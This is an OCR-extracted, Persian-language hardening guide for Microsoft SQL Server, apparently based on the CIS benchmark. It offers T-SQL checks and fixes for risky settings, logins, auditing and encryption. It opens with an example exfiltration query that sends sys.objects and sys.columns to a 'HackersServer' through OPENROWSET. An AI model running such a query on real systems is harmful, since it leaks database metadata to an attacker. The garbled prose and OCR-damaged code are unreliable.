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INSERT INTO OPENROWSET('SQLoledb’, 'server=HackersServer;uid=sa;pwd=hackersPwd',
'select * from hacked_tables’)

SELECT * FROM sys.objects

INSERT INTO OPENROWSET('SQLoledb’, 'server=HackersServer;uid=sa;pwd=hackersPwd',
'select * from hacked_columns’)

SELECT * FROM sys.columns
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SELECT name,
CAST (value as int) as value_configured,
CAST(value_in_use as int) as value_in_use

FROM sys.configurations
WHERE name ="'Ad Hoc Distributed Queries';
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AS Lzl 55 T-SQL &l ygiws

EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
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EXECUTE sp_configure 'Ad Hoc Distributed Queries', 0;
RECONFIGURE;
GO
EXECUTE sp_configure 'show advanced options', 0;
RECONFIGURE;
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SELECT name,

CAST (value as int) as value_configured,
CAST(value_in_use as int) as value_in_use
FROM sys.configurations

WHERE name = 'clr enabled’;
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OS>l 5 T-SQL &g

EXECUTE sp_configure ‘clr enabled’, 0;
RECONFIGURE;
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(w2 1,8 1 ools oL #L <database_name> gl> a) oS

USE [<database _name>]

GO

SELECT name AS Assembly Name, permission_set_desc
FROM sys.assemblies

WHERE is_user_defined = 1,
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CAST(value_in_use as int) as value_in_use
FROM sys.configurations

WHERE name = 'cross db ownership chaining’;
Al S5k ) e lade b gt 90 50
iJlosl gogms @
OS5 T-SQL jgiws

EXECUTE sp_configure ‘cross db ownership chaining’, 0;
RECONFIGURE;
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ol ol g a0 ialS 1) SQL Server o yiws xlaw Database Mail Xps a5 0,5 Jled e

SG w0l oL g 5l Oledlel o) ) cpa |y JUBT L g wiS (5,5 sl> DOS Odles> 5l wilgs oo

RS UL
S Lzl 1y 505 T-SQL giws
SELECT name,
CAST (value as int) as value_configured,
CAST(value_in_use as int) as value_in_use

FROM sys.configurations
WHERE name = 'Database Mail XPs';

Al S5b 1, - Jade Wb yeiw g0 o
iJlos! gogi @
AS Lzl 55 T-SQL [ giws
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'Database Mail XPs', 0;
RECONFIGURE;
GO

EXECUTE sp_configure 'show advanced options', 0;
RECONFIGURE;
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CAST(value_in_use as int) as value_in_use
FROM sys.configurations

WHERE name = 'Ole Automation Procedures’;
aule 5L T, Jade Wb e g0 2
iJlosl gogms @
OS5 T-SQL jgiws
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'Ole Automation Procedures', 0O;
RECONFIGURE;
GO

EXECUTE sp_configure 'show advanced options', O;
RECONFIGURE;
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https://www.cisecurity.org/benchmark/microsoft sql server/

https://docs.microsoft.com/en-us/sqgl/database-engine/configure-windows/ole-automation-
procedures-server-configuration-option

https://en.wikipedia.org/wiki/OLE Automation
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Jol> labsl 59w (g0 Sy 0 «Remote ACCESS» a3 Jlade o9 yao 5KV

Oz g 590 o) ldjgm (59,0 (dowe goul 03 slaasy, sl Remote access gan S

DS o JrST ) (e jg e (8952 590 ol ) Godl 0 3 slaag, sl 2]
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SELECT name,
CAST (value as int) as value_configured,
CAST(value_in_use as int) as value_in_use

FROM sys.configurations

WHERE name = 'remote access';
aule 5L T, v Jade Wb yeiw g0 o
iJlosl gogxi @
WSS dazme (g5laslely 1y eols oL Hgige ol 5l e g 9S>l 1y 15 T-SQL gt

EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
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EXECUTE sp_configure 'remote access', 0;
RECONFIGURE;

GO

EXECUTE sp_configure 'show advanced options', 0O;
RECONFIGURE;
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Gl Jbd onss oS slagslaslely g cuas g1y |, remote admin connection sas 35 (ol plo ol sl
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oS 111 5 T-SOL &l jgtms

USE master,

GO

SELECT name,

CAST (value as int) as value_configured,
CAST(value_in_use as int) as value_in_use
FROM sys.configurations

WHERE name = 'remote admin connections'
AND SERVERPROPERTY (‘IsClustered’) = 0;

s 01 89y dogi pl g el IS 0ol oSl diges ol oST g sails I 5L (5 aw e ST
Aule S5 1,0 e fyog B 5ke gl Wb e 90 o wols CliS b &g (o Lol e
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S | o 1S (slaosls oKl (sl 1) 23 T-SQL &l jgims

EXECUTE sp_configure 'remote admin connections', 0;
RECONFIGURE;
GO
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https://docs.microsoft.com/en-us/sgl/database-engine/configure-windows/remote-admin-
connections-server-configuration-option
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https://www.postgresgl.org/docs/9.0/static/creating-cluster.html
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JSog5> ol 4 SQL Server as 0ei oo Eel 09 Jd & ,y90 ,0 SCan for startup procs gas ;5

>, L&bQT g 00,5 goiws Ngu |, Q..\.J Yu ,al.i;.m O U Wloads udais oS 1) (gloals 0,53 (slaayg,
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DS Tty 3y T-SQL jeiws

SELECT name,

CAST (value as int) as value_configured,
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CAST(value_in_use as int) as value_in_use
FROM sys.configurations

WHERE name = 'scan for startup procs'’;
aule 5L T, e Jlade Wb gt 90 2
iJlosl gogms @
WSS S3ze (g luslely 1 eols oL ENgine o 51 ey g 0 111, 155 T-SQL 9w

EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;

EXECUTE sp_configure 'scan for startup procs', O;
RECONFIGURE;

GO

EXECUTE sp_configure 'show advanced options', 0O;
RECONFIGURE;
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https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/configure-the-scan-for-
startup-procs-server-configuration-option

https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/configure-the-scan-for-
startup-procs-server-configuration-option
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SELECT name

FROM sys.databases

WHERE is_trustworthy on=1
AND name!="msdb’;
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ALTER DATABASE [<database_name>] SET TRUSTWORTHY OFF;
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https://www.cisecurity.org/benchmark/microsoft sql server/

https://docs.microsoft.com/en-us/sqgl/relational-databases/security/trustworthy-database-
property?view=sql-server-2016

https://support.microsoft.com/it-it/help/2183687/quidelines-for-using-the-trustworthy-database-
setting-in-sgl-server
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server-network-protocol

https://www.sglshack.com/sgl-server-network-configuration/

https://technet.microsoft.com/en-us/library/ms187892(v=sql.105).aspx
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DECLARE @value nvarchar(256);
EXECUTE master.dbo.xp_instance_regread
N'HKEY_LOCAL_MACHINE!,
N'SOFTWARE\Microsoft\Microsoft SQL
Server\MSSQLServer\SuperSocketNetLib\Tcp\IPAII',
N'TcpPort,
@value OUTPUT,
N'no_output’;

SELECT @value AS TCP_Port WHERE @value = '1433";
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TCP/IP Properties 7 X
Protocol IP Addresses
TCP Dynamic Ports ~
TCP Port 1433
B ipg
Active Yes
Enabled No
IP Address 172.18.130.208
TCP Dynamic Ports
TCP Port 1433
B ipy
Active Yes
Enabled No
IP Address ]
TCP Dynamic Ports
TCP Port 1433
B ipan
TCP Dynamic Ports
S
| TCP Port
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https://www.sqlshack.com/sql-server-network-configuration/
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https://en.wikipedia.org/wiki/Nmap
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DECLARE @getValue INT;
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Server\MSSQLServer\SuperSocketNetL.ib',
@value_name = N'Hidelnstance’,

@value = @getValue OUTPUT,;

SELECT @getValue;

Sgd oails Tib Wb ) lade SO

sl by e
;b 1, SQL Server Network Configuration i SQL Server Configuration Manager ,» .\
SaS ol | Properties e oS SIS ol Protocols for <instance name> (g, .S

o oals olxsl Yes 51 wasS ow, e |, Hide Instance cwd Flags <5 jo 5 ool 3L (gaman o ¥

Fags  Certfcate  Advenced

P < Server Configuration Manages

B Genonal
| File Action View Help torte Enuyption No
| & 7 a3 |3 Mede Instance No -~
4 S0L Server Confaguration Manager (Local) Protocel Name Status
a S...( Server Servees ¥ Shared Memery Enebled
8 SCL Server Netsvork Confrguration (22ha) R
X > X $ Named Pipes Disabled
8 SOL Native Cient 11.0 Cenfiguration (32bit) 1o R
v 1§ SOL Server Network Configuration s
4 Protocols for MSSQLSERVER
B S0t Mative Client 11.0 Configun
View
Refresh
Expont List..
- » -
Help Vade Instance
{Upensthe prpadias Satog haxtosties Pravents the SOL Seoves Browser serwce from exposing this instance of

the Database Engine to chent computers

ol sy a5
iJlos! gogxi @

vo |



sPhets 35 »

lan 8 SN S e
PELTIE CULpEr P

DS oolaiul ()5 bl Sl 5 Do b wS T2l 5 T-SQL jgiws oot cpl Jlesl sl
EXEC master...xp_instance_regwrite
@rootkey = N'HKEY_LOCAL_MACHINE/,
@key = N'SOFTWARE\Microsoft\Microsoft SQL
Server\MSSQLServer\SuperSocketNetLib',
@value_name = N'Hidelnstance’,
@type = N'REG_DWORD',
@value = 1;
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SELECT name, is_disabled
FROM sys.server_principals
WHERE sid = 0x01 AND is_disabled = 0;
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USE [master]
GO
DECLARE @tsql nvarchar(max)
SET @tsql ='ALTER LOGIN '+ SUSER_NAME(0x01) + ' DISABLE'
EXEC (@tsql)
GO
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SELECT name
FROM sys.server_principals
WHERE sid = 0x01;
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ALTER LOGIN sa WITH NAME = <different_user>;
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https://docs.microsoft.com/en-us/sgl/relational-databases/security/choose-an-authentication-
mode

https://www.mssqltips.com/sqlservertip/3695/best-practices-to-secure-the-sql-server-sa-account/
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CAST(value_in_use as int) as value_in_use
FROM sys.configurations
WHERE name = 'xp_cmdshell’;

VO PRV PR WV CYC S| PR K-
iJlosl gogms @
OS5 T-SQL jgiws
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell’, O;
RECONFIGURE;
GO

EXECUTE sp_configure 'show advanced options', 0O;
RECONFIGURE;
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transact-sql

https://docs.microsoft.com/en-us/sqgl/database-engine/configure-windows/xp-cmdshell-server-
configuration-option

fr |


https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql
https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option

et 8 SN S e e
PELTIE CULpEr P

https://www.blackhat.com/presentations/bh-europe-07/Cerrudo/Whitepaper/bh-eu-07-cerrudo-
WP-up.pdf

«OFF» >, lools oL (59, » “AUTO_CLOSE» oS b  yiolas F,¥,VF
sk
Sl adad 5l am ol sols gosly oL SO LT aS wiS o Laseie AUTO_CLOSE (g4 35
cails axlym l a 5L eols oyl 4y gam o Jlasl wily Jled 435 ol ST e b 9 e di o L]
g 2l o3bgo (T 4 bogrye ag) 5 99 5k o)lgs Jlasl a8
:)LY é.‘d.?.o o
G ;0 4 g ool oKL 0> Bl o bosls oL slp )5 Cugr sl as nl s 4
5 5L 0gd 3L )5 SO Cogr sl gl asds o B ool Lo eols oL 0,5 o & yse Serverinstance
o> szl Sl (ove Wil oo rizred 9355 (o0 H9 3l 1) I BLEN @lie wosls oL ;S (0 At
2435 (DOS) cweas sl 5l (5 10045
RS FULT

Wgd azeine wloais pudaid ol cpl Bllas a5 Slaosls oSGL B oS 1> 15 jgiws
SELECT name, containment, containment_desc, is_auto_close_on
FROM sys.databases

WHERE containment <> 0 and is_auto_close on = 1;
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ALTER DATABASE <database_name> SET AUTO_CLOSE OFF;
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https://docs.microsoft.com/en-us/sgl/relational-databases/databases/security-best-practices-with-
contained-databases?view=sqgl-server-2016
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SELECT principal_id, name
FROM sys.server_principals
WHERE name ="'sa’;
Bg 0ls )5 5L s 6 law e
iJlosl gogi @
DROP L ALTER &ljgiws o oails,53bsa pb b (5,0,5 pb (sl a5 ol principal _id 4 a>g5 L
ol 458 wlys o a5 |, (g lake <different_name> sl> 4 a5 oS a9 oS 1>l ol o 1) cenlis
DS Tl 06 osls by
USE [master]
GO
-- If principal_id = 1 or the login owns database objects, rename the sa login
ALTER LOGIN [sa] WITH NAME = <different_name>;
GO
-- If the login owns no database objects, then drop it
-- Do NOT drop the login if it is principal_id =1
DROP LOGIN sa
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https://docs.microsoft.com/en-us/sgl/relational-databases/security/choose-an-authentication-
mode?view=sql-server-2017
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USE [master]
GO
EXEC xp_instance_regwrite NNHKEY_LOCAL_MACHINE',
N'Software\Microsoftt MSSQLServer\MSSQLServer', N'LoginMode', REG_DWORD, 1
GO
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https://docs.microsoft.com/en-us/sgl/relational-databases/security/choose-an-authentication-
mode?view=sql-server-2016

https://docs.microsoft.com/en-us/sql/relational-databases/security/security-center-for-sql-server-
database-enqgine-and-azure-sql-database?view=sql-server-2016

olf.al.’ rcl.eJ o‘).o.fb Ew «guest user» g, Jl..a." LSl-‘b)j-"'-" M)f J..ag.w u.i.a.b.c AT
ool o) «tempdb» 4 «msdb» «master» sleola, «SQL Server» slassls

sl

tempdb 4 msdb ¢ master ;| . 4 SQL Server slacsls oL 4 Jlasl sl guest 5 348>
Db e Wb

)Ue.h.».o o
Clas Jsb o 00l oL a4 Jg il alils owyws SQL Server 4 5,5 ol G a5 Ko

).3)[5 CogR ‘6).3)15 ‘al; L)‘ s-.\.uul.» adslo guest ng.»)lf ul.w.’> x_i» 0dld ol.i’L: 9 ML’ aslas LSy 09.’>

S aS 0490 o0 39y w4 |y lacell cplguest U8 5l Jlasl jeme 30,5 e 04 0 418,85 Las s guest
Db alas g yiws o] 3o Sledlbl as wools oSl oy  polais ] s iwd IS g 52,8 ol

£ |


https://www.cisecurity.org/benchmark/microsoft_sql_server/
https://docs.microsoft.com/en-us/sql/relational-databases/security/choose-an-authentication-mode?view=sql-server-2016
https://docs.microsoft.com/en-us/sql/relational-databases/security/choose-an-authentication-mode?view=sql-server-2016
https://docs.microsoft.com/en-us/sql/relational-databases/security/security-center-for-sql-server-database-engine-and-azure-sql-database?view=sql-server-2016
https://docs.microsoft.com/en-us/sql/relational-databases/security/security-center-for-sql-server-database-engine-and-azure-sql-database?view=sql-server-2016

Pt 35 >

lan 8 SN S e
PELTIE CULpEr P

S RO I

L ooylo 1y Jlasl joome gUESE 1 )lS aS 0ai adeio U oS |zl ools olGL 2 slp 1,y ) oS aslad

(2,13 1y abgy o (g00ls oSSL pb <database_name> sl> ) . .=

USE [<database_name>];

GO

SELECT DB_NAME() AS DatabaseName, 'guest' AS Database_User,
[permission_name], [state_desc]

FROM sys.database_permissions

WHERE [grantee_principal_id] = DATABASE_PRINCIPAL_ID('guest’)
AND [state_desc] LIKE 'GRANT%'

AND [permission_name] = 'CONNECT"

AND DB_NAME() NOT IN (‘'master’,'tempdb’,'msdb’);
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USE [<database_name>];

GO
REVOKE CONNECT FROM guest;
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USE [<database_name>];
GO
EXEC sp_change_users_login @Action='Report’;
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USE [<database_name>];
GO
DROP USER <username>;
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SELECT name AS DBUser

FROM sys.database _principals

WHERE name NOT IN (‘dbo’,'Information_Schema','sys','guest’)
AND type IN (U','S'"'G"

AND authentication_type = 2;

GO
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SELECT *

FROM master.sys.server_permissions

WHERE (grantee_principal_id = SUSER_SID(N'public’) and state_desc LIKE
'‘GRANT%)

AND NOT (state_desc = 'GRANT" and [permission_name] = 'VIEW ANY DATABASE'
and class_desc = 'SERVER")

AND NOT (state_desc = 'GRANT" and [permission_name] = 'CONNECT" and
class_desc = 'ENDPOINT' and major_id = 2)

AND NOT (state_desc = 'GRANT" and [permission_name] = 'CONNECT" and
class_desc = 'ENDPOINT' and major_id = 3)

AND NOT (state_desc = 'GRANT" and [permission_name] = 'CONNECT" and
class_desc = 'ENDPOINT' and major_id = 4)

AND NOT (state_desc = 'GRANT" and [permission_name] = 'CONNECT" and
class_desc = 'ENDPOINT' and major_id = 5);
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USE [master]
GO
REVOKE <permission_name> FROM public;
GO
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SELECT pr.[name], pe.[permission_name], pe.[state_desc]
FROM sys.server_principals pr
JOIN sys.server_permissions pe
ON pr.principal_id = pe.grantee_principal_id
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WHERE pr.name like 'BUILTIN%";
g 0ails 5L il (g ke e
iJles! gogi @
ol Cyesd Codgdsee b Active Directory og,5 o BUILTIN (55,15 ob 2 gl jls &0 0 )
Ak 6590 S Glacles Jold L oS 0y 5l
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USE [master];
GO
DROP LOGIN [BUILTIN\<name>];
GO
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USE [master]
GO
SELECT pr.[name] AS LocalGroupName, pe.[permission_name], pe.[state_desc]
FROM sys.server_principals pr
JOIN sys.server_permissions pe
ON pr.[principal_id] = pe.[grantee_principal_id]
WHERE pr.[type_desc] =" WINDOWS_GROUP'
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AND pr.[name] like CAST(SERVERPROPERTY (‘MachineName") AS nvarchar) + '%/;
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USE [master];
GO

DROP LOGIN [<name>];
GO
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USE [msdb]
GO
SELECT sp.name AS proxyname
FROM dbo.sysproxylogin spl
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JOIN sys.database_principals dp

ON dp.sid = spl.sid

JOIN sysproxies sp

ON sp.proxy_id = spl.proxy_id

WHERE principal_id = USER_ID('public’);

GO
g 03l ,5 5k Wl (6l g
iJlos! gogmi @
25 ¢x) Public Role ;I 1, <proxyname> a; ow s ) joimws b —)
USE [msdb]
GO

EXEC dbo.sp_revoke_login_from_proxy @name = N'public’, @proxy_name =
N'<proxyname>'

GO
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S oy oS gy R A msdb sools oL )5« (B,8 s ysb @
P SR

https://www.cisecurity.org/benchmark/microsoft sql server/

https://support.microsoft.com/en-us/help/2160741/best-practices-in-configuring-sqgl-server-
agent-proxy-account

https://docs.microsoft.com/en-us/sgl/ssms/agent/manage-job-steps?view=sql-server-2016
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CREATE LOGIN <login_name> WITH PASSWORD = '<password_value>'
CHECK_EXPIRATION = ON, CHECK_POLICY = ON; MUST_CHANGE,
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ALTER LOGIN <login_name> WITH PASSWORD = '<new_password_value>'
MUST_CHANGE;

2 (b caslow — ow, CHECK_POLICY 4 (Lagl ow, ) CHECK_EXPIRATION slaas, 3
Al s 1y 03 sl )l b jeue oy i sl oled )8 . alL ON cl> o b g0
Py e slede o
OFF 6,8 i &jgo 4 0uS o0 obx| T-SQL CREATE LOGIN L sasa> (60,5 oL a5 Sl
Al o
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https://docs.microsoft.com/en-us/sql/t-sgl/statements/alter-login-transact-sql

https://docs.microsoft.com/en-us/sqgl/t-sgl/statements/create-login-transact-sal
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Aled oo ookl wil oo SQL Server jouig ,o a5 |y joe 1o, slasil caslow lon
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CHECK_EXPIRATION az,35 45 sysadmin s b Slp,l5 80 sl | 55 T-SQL & Le
g 2l Wls (63,50 ged duled 1] Con OFF L]
SELECT l.[name], 'sysadmin membership' AS 'Access_Method'
FROM sys.sql_logins AS |
WHERE IS_SRVROLEMEMBER('sysadmin’,name) = 1
AND Ll.is_expiration_checked <> 1
UNION ALL
SELECT I.[name], 'CONTROL SERVER' AS 'Access_Method'
FROM sys.sql_logins AS |
JOIN sys.server_permissions AS p
ON l.principal_id = p.grantee_principal_id
WHERE p.type = 'CL' AND p.state IN ('G', 'W")

AND L.is_expiration_checked <> 1;
iJlesl gogxi @
mles Lzl 1) 5 & ole Wloads asie 398 T-SQL 5l eolaiwl L a5 ol <login_name> ¢l
ALTER LOGIN [<login_name>] WITH CHECK_EXPIRATION = ON;
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s T-SQL CREATE LOGIN jgis 5l eslizul b a5 wily oo OFf _ils; CHECK_EXPIRATION
gles_co ooliil CHECK_EXPIRATION 55 10,5 Lasis
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https://docs.microsoft.com/en-us/sql/relational-databases/security/passwordpolicy
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Sgdin Jlosl byl (555
SELECT name, is_disabled
FROM sys.sql_logins
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WHERE is_policy_checked = 0;
iJlos! gogi @
Aol Izl 55 jeiws 398 & )le 5l ol sla <login_name> ;| S 2 (ol
ALTER LOGIN [<login_name>] WITH CHECK_POLICY = ON;
il e
S5 oy S eolaiwl jeag e slas 5 AL 5l ailed ces 4 Cl St g daiogi ()
s oy &S d9bee 2l Gloj s Slenlas cnl 05l bt (oldl s 50 4y Wlgi oo e
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https://docs.microsoft.com/en-us/sgl/relational-databases/security/passwordpolicy
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ALY b it b ead cusS ) lBs i sla il olass awmlei Lz 1, 503 T-SQL o Le

DECLARE @NumErrorLogs int;

EXEC master.sys.xp_instance_regread
N'HKEY_LOCAL_MACHINE/,
N'Software\Microsoft\tMSSQLServer\MSSQLServer’,
N'NumErrorLogs',

@NumErrorLogs OUTPUT,;

SELECT ISNULL(@NumErrorLogs, -1) AS [NumberOfLogFiles];

iJlosl gogxi @

F o i e S (6 S sla baosls fols cans 1 aS aules welais (ssb 1) boaliy ol sl

5 00ls s | s By ol slows 5 ales Lzl 1) 5 T-SQL ils 315 adly Layl 15 (6lpy ol ySooe
S Sl Uas 8y b gl Callae sue L |, <NumberAbovel2>

EXEC master.sys.xp_instance_regwrite

N'HKEY_LOCAL_MACHINE/,

N'Software\Microsoft\MSSQLServer\MSSQL Server’,

N'NumErrorLogs',

REG_DWORD,
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Dol oo Bd>sp_cycle_errorlog !> L 9 SQL Server sase gjlulel,y b Uas x58g ool
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https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/scmservices-

configure-sql-server-error-logs
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SELECT name,

CAST (value as int) as value_configured,
CAST(value_in_use as int) as value_in_use
FROM sys.configurations

WHERE name = ‘default trace enabled’;

iJlos! gogi @
Swles 1>11, 55 T-SQL g
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure ‘default trace enabled’, 1;
RECONFIGURE;
GO

EXECUTE sp_configure 'show advanced options', 0O;
RECONFIGURE;

P e ke o
Sl e S 45Tl B i
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https://docs.microsoft.com/en-us/sgl/database-engine/configurewindows/

default-trace-enabled-server-configuration-option
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oo oty «failed logins» jloie L «Login Auditing» as38 sued relas .F,0,Y
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o e ml8y ool Ll ;0 SQL slas )5 pb sl 1) Cuge 5>t 3890l sla i Sleplass (5l
SQL  alizes oy )l g vasend jo Sloodas pl 3 510l o SQL Server gl oladas (plasled oo
JrsS Gl pulo s cpl call wyiws ;o SQL Server b astol 51 L8 .ol oo s o Server
392 IS (39906 b (3390 999

il e
B390 sogye a4 oliws jelaie 4 ojllal Sledass sl oolatul Jg 09l colainl joe 5o, OMex a0l
a3, sl DBA sla b 51 il so a5 aylas oo ool SQL Server slas aliy ool o 3Ll g5 b 1S
iled (6 S gl> IS
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A8 =l 53 T-SQL & )le
EXEC xp_loginconfig 'audit level’;
Cus j0 )5 el 05,9 3896l 0,lee 1o o4 failure (31 config_value jlaie 598 &\le g5 ;0
o2 5 B350 sodg,s pr Iyganl 0wy all gslee config_value loie 51 .04s o 00,5] slagsldy
Wi S5 a5 shiles (Jg ail (b)) b Glg oo malas 90 ;8 09b 0 03,91 By ol 3 3390l (slaoyg g
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Sled Lzl 1) 55 jews )
EXEC xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
N'Software\Microsoft\tMSSQLServer\MSSQLServer', N'AuditLevel', REG_DWORD,

Aled daze (g5laslel, 1) SQL Server .Y
S e olade e
Db ge Sod o)l 99,9 3350l S W LS (B8 ey Dy &
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https://docs.microsoft.com/en-us/sql/database-engine/configurewindows/

server-properties-security-page
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(3990 slodg,9 (10,9] Cawdy (sl el 4T s il sl 4 SQL Server Audit 5l eslatul b
sl ol pae (gl bolas ;) ol Blgs g aile S8 el S w0 2alS 1) s 8y ool g Lo
wlgs o SQL Server Audit oo anles loy i SQL Server o walgs o a5 048 0 ools

IS o 0,55 |, SIEM b b | Loguases s iS5 ol (slaslays,

PSS RIS I

led paseida | a5 cpl (ed Cumdg ailgi oo n) e szl L
SELECT
S.name AS 'Audit Name'
, CASE S.is_state_enabled
WHEN 1 THEN "Y'
WHEN 0 THEN 'N' END AS 'Audit Enabled'
, S.type_desc AS 'Write Location'
, SA.name AS 'Audit Specification Name'
, CASE SA.is_state_enabled
WHEN 1 THEN "Y'
WHEN 0 THEN 'N' END AS 'Audit Specification Enabled'
, SAD.audit_action_name
, SAD.audited_result
FROM sys.server_audit_specification_details AS SAD
JOIN sys.server_audit_specifications AS SA

' Errorlog
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ON SAD.server_specification_id = SA.server_specification_id
JOIN sys.server_audits AS S

ON SA.audit_guid = S.audit_guid

WHERE SAD.audit_action_id IN (‘(CNAU', 'LGFL', 'LGSD";

Dglee paFie ) ST Gl e Cundg 9,55, 8 50 45 S waly: 055 ) aw Jold ases

e AUDIT_CHANGE_GROUP
e FAILED LOGIN_GROUP
» SUCCESSFUL_LOGIN_GROUP

iJlos! gogxi @
rbos a1, 505 08 T SQL &y ,b 5
CREATE SERVER AUDIT TrackLogins
TO APPLICATION_LOG;
GO
CREATE SERVER AUDIT SPECIFICATION TrackAllLogins
FOR SERVER AUDIT TrackLogins
ADD (FAILED_LOGIN_GROUP),
ADD (SUCCESSFUL_LOGIN_GROUP),
ADD (AUDIT_CHANGE_GROUP)
WITH (STATE = ON);
GO
ALTER SERVER AUDIT TrackLogins
WITH (STATE = ON);
GO
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https://docs.microsoft.com/en-us/sql/relationaldatabases/

security/auditing/create-a-server-audit-and-server-audit-specification
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Al Blas a5 odds 0,053 slodsg, 5 (65l )b Dl jgiws jleslaiwl L1, SQL & )5 ale> Sy, -
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aalip oS L g TSQL ;o poxs 4s5,0 040 MBI Cdgo joka ools oL b g oaslp B o5)lo 5o Yeoo
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https://www.owasp.org/index.php/SOL Injection
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ples sl» «CLR Assembly Permission Set» a5 wgs iekas 5,0Y
il e edas «SAFE_ACCESS» 4 «CLR Assemblies»

5 6xSsl> c>g90 «SAFE_ACCESS» 4 «CLR Assembly Permission Set» a5 odass
Dy go 4l polie b bl Jd 5l (215 polie 4y lajlise (gwyiws
Cilie e
Jlee pimcm bli> slo il )l oy g a8 solital byl 51 g ol anils owytws o] Jl ools
R P UBIEeT
Oleo gaig0 ol 5l (s_user_defined = 0) awil oo obml cilug Sk lawg a5 Slojloge
Y FULT L I
dwles 1>l 55 SQL o Le
SELECT name,
permission_set_desc

FROM sys.assemblies

where is_user_defined = 1;

sl axsls permission_set_desc ygiw ;o 1) poul (o yiwd b o az slaslige den

iJlocl gogs @

' Assemblies
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ALTER ASSEMBLY <assembly_name> WITH PERMISSION_SET = SAFE;
:ﬁf.bo °
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https://docs.microsoft.com/en-us/sqgl/relational-databases/clrintegration/

security/clr-integration-code-access-security

https://docs.microsoft.com/en-us/sqgl/relational-databases/system-catalogviews/

sys-assemblies-transact-sal

https://docs.microsoft.com/en-us/sql/t-sgl/statements/alter-assembly-transactsql
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Db ooliiwl oyl oS (6,138 50, w53l 5|2 and AES_256

A |



2Pty 35 e »

et 8 SN S e e
PELTIE CULpEr P

ek o
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DES a5 aw slapi )6 gousin slaylosl .DES, DESX, RC2, RC4, RC4_128. 455 oolarul
trogi byl 5l oaliiul 5 0ad Fawie win,sSl £5 locas by ] 5l osliial Sy g ol b iy oo |, (TDEA)
SR
S FULL L
talos Lol oals ol o (sl 1y 05 oS
USE [<database _name>]
GO
SELECT db_name() AS Database_Name, name AS Key Name
FROM sys.symmetric_keys
WHERE algorithm_desc NOT IN ('AES_128'AES_192''AES 256')
AND db_id() > 4;
GO

gl St 5b wls (69,95 ) e A lgie 4
iJlos! gogi @
dled axxl o " oy laie oS pss™ T slac LS 4

https://docs.microsoft.com/en-us/sql/t-sgl/statements/alter-symmetric-key-transact-sal
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https://docs.microsoft.com/en-us/sql/t-sgl/statements/alter-symmetric-keytransact-

S LY FA ol ot 2 00l oLy 50 oy like 0S o3Il dgd relas KLYV
Y WP >SS QT 5
D9 5o a0yl )l (655550, slapity sl 5l ool Ldlug,Sole )l oy iy 5o
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03,5 (5ol 1) gebaes 03,3Vl SQL Server s oy linels claalS gl RSA_2048 (¢ S50, o ys5)
(551 aals> RSA_1024 4 RSA 512 S50 sloasy ;) il o o yimss 45 45355 Opnpicysl ol il

03 FULL L
dmles x>l ools oL 2 sl ) w5 oS

USE <database _name>;

GO

SELECT db_name() AS Database_Name, name AS Key Name
FROM sys.asymmetric_keys

AND db_id() > 4; WHERE key_length < 2048

GO
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https://docs.microsoft.com/en-us/sqgl/t-sgl/statements/alter-asymmetric-keytransact-sql
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oy dlice slodig, b services.msc s 5l eolaxwl b 1, SQL Server Browser Service cosss
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https://docs.microsoft.com/en-us/sqgl/database-engine/configure-windows/sqlserver-
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